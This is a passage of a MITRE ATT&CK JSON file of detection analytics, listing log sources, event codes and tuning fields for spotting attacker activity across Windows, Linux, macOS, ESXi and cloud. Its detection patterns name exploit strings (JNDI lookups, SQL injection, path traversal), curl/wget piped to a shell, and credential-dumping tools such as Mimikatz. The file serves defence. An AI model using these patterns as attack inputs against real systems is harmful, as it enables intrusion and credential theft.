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            "description": "Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events",
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                    "field": "FailedAttemptThreshold",
                    "description": "How many failures in short succession should trigger alerting"
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            "description": "Monitor for use of native utilities such as wevtutil.exe or PowerShell cmdlets (Get-WinEvent, Get-EventLog) to enumerate or export logs. Unusual access to security or system event channels, especially by non-administrative users or processes, should be correlated with subsequent file export or network transfer activity.",
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                    "description": "Expected log management scripts executed by administrators should be excluded from alerts."
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                    "description": "Correlate enumeration attempts with file export or network transfer within a defined timeframe."
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                    "field": "CriticalVMFSPaths",
                    "description": "VMFS datastore paths requiring permission change monitoring"
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                    "description": "Time correlation window for linking SSH access with permission modifications"
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                    "description": "Scope of vCenter audit event correlation with ESXi host activities"
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                    "channel": "sshd[pid]: Failed password"
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                {
                    "field": "UserScope",
                    "description": "Filter high-value or restricted users (e.g., root, service)"
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                {
                    "field": "AttemptThreshold",
                    "description": "Number of consecutive failures before flagging (e.g., >5 in 2 minutes)"
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                    "channel": "EventCode=23"
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                    "description": "Correlate copy+rename+delete chains within 5-minute window"
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                {
                    "field": "FileExtensionFilter",
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                    "channel": "process"
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                    "description": "Rare use of ICMP utilities may be tuned based on user/host baselines"
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                {
                    "field": "EnrichmentLevel",
                    "description": "Tune data joins with parent process and user activity context"
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            "name": "Analytic 0676",
            "description": "Unusual database command-line access (e.g., `psql`, `mysql`, `mongo`) from non-admin users, occurring outside typical automation windows or without known service context. Often followed by data dumps to .sql/.csv files or outbound data transfers. Defender sees CLI tools launched interactively or by unusual parent processes, file writes to dump-like filenames, and external connections shortly after.",
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            "x_mitre_domains": [
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                    "field": "TimeWindow",
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                {
                    "field": "AllowedProcesses",
                    "description": "Known legitimate camera consumers (e.g., Teams.exe, zoom.exe, obs64.exe) to suppress."
                },
                {
                    "field": "VideoExtensions",
                    "description": "List of extensions to flag (.mp4, .avi, .mov, .yuv, .mkv, .h264) \u2013 tune for your estate."
                },
                {
                    "field": "RarePathRegex",
                    "description": "Regex for unusual storage locations (e.g., %TEMP%\\*, C:\\Windows\\Tasks\\*, user profile hidden dirs)."
                },
                {
                    "field": "MinFileSizeMB",
                    "description": "Minimum size to reduce FP from thumbnails/snapshots."
                },
                {
                    "field": "ParentProcessAllowList",
                    "description": "Service/agent parents permitted to broker camera access."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--17290910-5b25-477a-a0c0-c2661ff2585e",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0219"
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            "description": "Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint \u2192 (2) elevated 4xx/5xx or unusual methods/paths \u2192 (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules \u2192 (4) optional outbound callback from the host/container.",
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            "x_mitre_deprecated": false,
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "ApplicationLog:IIS",
                    "channel": "IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "PublicVIPs",
                    "description": "List of public IPs/hostnames that front apps; used to scope web log and Zeek/proxy data."
                },
                {
                    "field": "SuspiciousPatterns",
                    "description": "Regex set for exploit-like inputs (../, union select, cmd=, ${jndi:, rO0AB (Java serialization), %00, ${env:}, ${${::-j}ndi})."
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                {
                    "field": "ErrorRateThreshold",
                    "description": "Spike threshold for HTTP status 5xx/4xx per client or URI (e.g., >5 in 5m)."
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                {
                    "field": "TimeWindow",
                    "description": "Correlation horizon between request, error, process spawn, and egress (e.g., 15 minutes)."
                },
                {
                    "field": "AllowedChildList",
                    "description": "Known child processes of app pools (e.g., msbuild.exe in CI) to reduce false positives."
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            ]
        },
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            "type": "x-mitre-analytic",
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            "name": "Analytic 0394",
            "description": "Detects removal of adversary artifacts via `rm`, `unlink`, or secure tools, with focus on shell sessions, temp files, and modified LaunchAgents or system directories.",
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "channel": "unlink, write"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "process"
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                    "field": "FilePathRegex",
                    "description": "Focus on LaunchAgents, /tmp/, or user folders."
                },
                {
                    "field": "ToolUsageAnomaly",
                    "description": "Detecting use of unfamiliar tools by common users."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "PRE"
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            "name": "Analytic 1031",
            "description": "Detects adversarial abuse of WMI to execute local or remote commands via WMIC, PowerShell, or COM API through a multi-event chain: process creation, command execution, and corresponding network connection if remote.",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4",
                    "name": "WinEventLog:WMI",
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                    "field": "WMIQueryScope",
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                {
                    "field": "TimeWindow",
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                {
                    "field": "UserContext",
                    "description": "Tune based on interactive vs. system-level execution (e.g., via SYSTEM or low-privileged users)."
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                {
                    "field": "RemoteDestinationThreshold",
                    "description": "Number of unique remote hosts contacted using WMI within a time window."
                },
                {
                    "field": "SuspiciousCommandPatterns",
                    "description": "Regex patterns to identify adversary-like usage (e.g., `wmic process call`, `powershell Invoke-WmiMethod`)."
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            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 1514",
            "description": "Abnormal API calls from user accounts invoking file upload endpoints outside normal baselines (M365, Google Drive, Box). Defender perspective: monitor unified audit logs for elevated frequency of Upload, Create, or Copy operations from compromised accounts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "SaaS"
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                    "name": "m365:unified",
                    "channel": "FileUploaded or FileCopied events"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "saas:box",
                    "channel": "API calls exceeding baseline thresholds"
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            ],
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                {
                    "field": "APICallThreshold",
                    "description": "Maximum number of API calls per user/session before triggering alert."
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                {
                    "field": "UserBaselineProfiles",
                    "description": "Baseline normal data transfer patterns by user/role."
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "ESXi"
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                    "name": "esxi:hostd",
                    "channel": "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, /var/log/vmkernel.log, /var/log/syslog.log."
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ESXiServicePorts",
                    "description": "427, 443, 902, 5989; modify per version/hardening."
                },
                {
                    "field": "MgmtCIDRs",
                    "description": "Legit management networks for vCenter/ESXi."
                },
                {
                    "field": "RestartKeywords",
                    "description": "Crash/restart patterns to match in logs."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1437",
            "description": "Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Office Suite"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TemplateSource",
                    "description": "Macros may be embedded in local user templates or retrieved from shared network paths"
                },
                {
                    "field": "MacroSecurityLevel",
                    "description": "Macro execution policy (disabled, warn, enabled) varies by tenant or user configuration"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0855",
            "description": "Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions. Behavior often follows unauthorized login, privilege escalation, or API abuse.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Network Devices"
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                    "name": "networkdevice:Firewall",
                    "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "networkdevice:Firewall",
                    "channel": "Login from untrusted IP, or new admin account accessing firewall console/API"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:Firewall",
                    "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TrustedAdminIPs",
                    "description": "Allowlisted IPs/subnets where administrative access is expected (e.g., jump box, VPN mgmt)"
                },
                {
                    "field": "ConfigChangeWindow",
                    "description": "Expected maintenance window (e.g., 02:00\u201304:00 UTC) to filter benign changes"
                },
                {
                    "field": "RuleScopeThreshold",
                    "description": "Number of rules affected or port ranges modified to determine severity"
                },
                {
                    "field": "NewUserPrivilegeThreshold",
                    "description": "Flag new users making changes without observed privilege elevation path"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--17f9487f-711d-4f28-9de8-209ae39d33d2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0223"
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            "name": "Analytic 0223",
            "description": "Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes \u2192 (2) workload spawns shell or reaches metadata API \u2192 (3) egress to new external hosts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "ALB:HTTPLogs",
                    "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "AWS:VPCFlowLogs",
                    "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LBProjects",
                    "description": "Cloud accounts/subscriptions/regions to include."
                },
                {
                    "field": "ErrorBurst",
                    "description": "5xx/4xx per client threshold."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0281#AN0782",
                    "external_id": "AN0782"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0782",
            "description": "Monitors for compression tool usage (e.g., 7zip, WinRAR, MakeCab) that follows or precedes file modification, suspicious file types (e.g., .exe, .dll) being compressed, or dropped from self-extracting archives followed by immediate execution.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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            ],
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                {
                    "field": "CompressedFileType",
                    "description": "Zip, .rar, .cab, .gz \u2013 tune based on expected legitimate use of compression in environment"
                },
                {
                    "field": "SFXExecutionDelay",
                    "description": "Expected time between archive unpacking and first execution \u2013 short delays are suspicious"
                },
                {
                    "field": "UserContext",
                    "description": "Restrict detection to non-admin or interactive users if excessive FPs from sys admin activity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--1895e723-dcfb-45d4-80fc-aaa0c3963cc9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0340#AN0963",
                    "external_id": "AN0963"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0963",
            "description": "User pastes a multi-line or one-liner into a terminal (bash/zsh) that downloads/decodes and executes content. Chain: terminal exec of curl/wget/bash/sh with pipe to interpreter or base64-decode \u2192 transient file under /tmp|~/.cache \u2192 immediate outbound egress.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                    "channel": "New egress to Internet by the same UID/host shortly after terminal exec"
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            ],
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                {
                    "field": "TerminalProcessNames",
                    "description": "Gui/tty terminals to monitor (gnome-terminal, konsole, iTerm2, tmux)."
                },
                {
                    "field": "RiskyFilePaths",
                    "description": "Temp/cache paths to watch for first-stage drops."
                },
                {
                    "field": "AnomalousUserSet",
                    "description": "Users who should never run curl/wget or compilers."
                },
                {
                    "field": "TimeWindow",
                    "description": "Exec\u2192file\u2192egress correlation window (e.g., 10 minutes)."
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            ],
            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1641"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "Detection of suspicious access to password manager processes (KeePass, 1Password, LastPass, Bitwarden) through abnormal process injection, memory reads, or command-line usage of vault-related DLLs. Correlates process creation with OS API calls and file access to vault databases (.kdbx, .opvault, .ldb).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
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            ],
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                {
                    "field": "PasswordManagerBinaries",
                    "description": "List of monitored binaries and file formats for password managers in use (e.g., KeePass, 1Password, Bitwarden, LastPass)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Window to correlate process creation, API access, and file reads indicative of credential extraction."
                },
                {
                    "field": "UserContext",
                    "description": "Filter for administrative accounts vs. expected users of password managers."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0513#AN1417",
                    "external_id": "AN1417"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1417",
            "description": "Detects adversary behavior accessing Windows cached domain credential files using tools like Mimikatz, reg.exe, or PowerShell, often combined with registry exports or LSASS memory scraping.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetFilename",
                    "description": "Location of cached credential files may vary with OS version or custom registry hive exports."
                },
                {
                    "field": "CommandLine",
                    "description": "Patterns for reg save, secretsdump, or PowerShell dumping tools may be tuned to org-specific tooling."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal correlation window between process execution and registry/file access."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--18c20664-b820-4a14-a7bf-5a75ac2fae92",
            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0262#AN0731",
                    "external_id": "AN0731"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0731",
            "description": "Analyze ESXi syslogs for management agents or VMs making outbound connections to dynamically calculated ports derived from DNS responses. Cross-check with VM traffic baselines to identify anomalies.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:syslog",
                    "channel": "DNS resolution events leading to outbound traffic on unexpected ports"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ManagementPlaneIPs",
                    "description": "Known trusted ESXi management plane IPs to exclude from alerts"
                },
                {
                    "field": "DomainReputationFeed",
                    "description": "Integrate external feeds for reputation context on DNS-derived domains"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--18cf5cf7-f46b-4258-a0aa-503881c9c88e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0298#AN0833",
                    "external_id": "AN0833"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0833",
            "description": "Detects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedArchivers",
                    "description": "Business-approved applications permitted to create archives (e.g., backup agents)."
                },
                {
                    "field": "UserContext",
                    "description": "Flag archiving under privileged or service accounts as higher risk."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Entropy threshold for detecting encrypted archives versus normal compression."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--18e81e76-bae3-44c8-b573-dfd3564a00ad",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0579#AN1595",
                    "external_id": "AN1595"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1595",
            "description": "Monitor for suspicious usage of driver enumeration utilities (driverquery.exe) or API calls such as EnumDeviceDrivers(). Registry queries against HKLM\\SYSTEM\\CurrentControlSet\\Services and HardwareProfiles that are abnormal may also indicate attempts to discover installed drivers and services. Correlate command execution, process creation, and registry access to build a behavioral chain of driver discovery.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedUtilities",
                    "description": "Whitelist expected administrative usage of driverquery.exe or other enumeration utilities."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between process creation and registry queries to identify suspicious chaining of events."
                }
            ]
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0652",
                    "external_id": "AN0652"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0652",
            "description": "Unusual use of steganographic or media processing binaries (e.g., `steghide`, `ffmpeg`, `imagemagick`) followed by outbound communication to external IPs with high data output and media MIME types.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
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                    "name": "NSM:Flow",
                    "channel": "Captured File Content"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "NSM:Flow",
                    "channel": "Observed File Transfers"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ToolNameMatch",
                    "description": "Specify which binaries to monitor (e.g., steghide, outguess)."
                },
                {
                    "field": "OutboundTrafficPattern",
                    "description": "Adjust based on known normal file upload services."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--193167de-400a-4ea3-a8db-93e4bf628068",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0808#AN1940",
                    "external_id": "AN1940"
                }
            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1940",
            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0492#AN1356",
                    "external_id": "AN1356"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1356",
            "description": "Defenders should monitor for anomalous or unauthorized changes to cloud compute configurations that alter quotas, tenant-wide policies, subscription associations, or allowed deployment regions. From a defender\u2019s perspective, suspicious behavior chains include a sudden increase in compute quota requests followed by new instance or resource creation, policy modifications that weaken security restrictions, or enabling previously unused/unsupported cloud regions. Correlation across identity, configuration, and subsequent provisioning logs is critical to distinguish legitimate administrative activity from adversarial abuse.",
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            "x_mitre_version": "1.0",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "IaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "RequestServiceQuotaIncrease"
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            ],
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                {
                    "field": "UserContext",
                    "description": "Identity performing the quota or configuration change; tuned to filter known admins or automation accounts."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period for configuration change followed by resource creation; tuned to environment norms."
                },
                {
                    "field": "ChangeType",
                    "description": "Type of configuration being modified (quota, policy, region); tuned to organization-specific risk thresholds."
                },
                {
                    "field": "GeoLocation",
                    "description": "Region where the configuration change originates; tuned to enterprise\u2019s expected operational geography."
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            ],
            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0342",
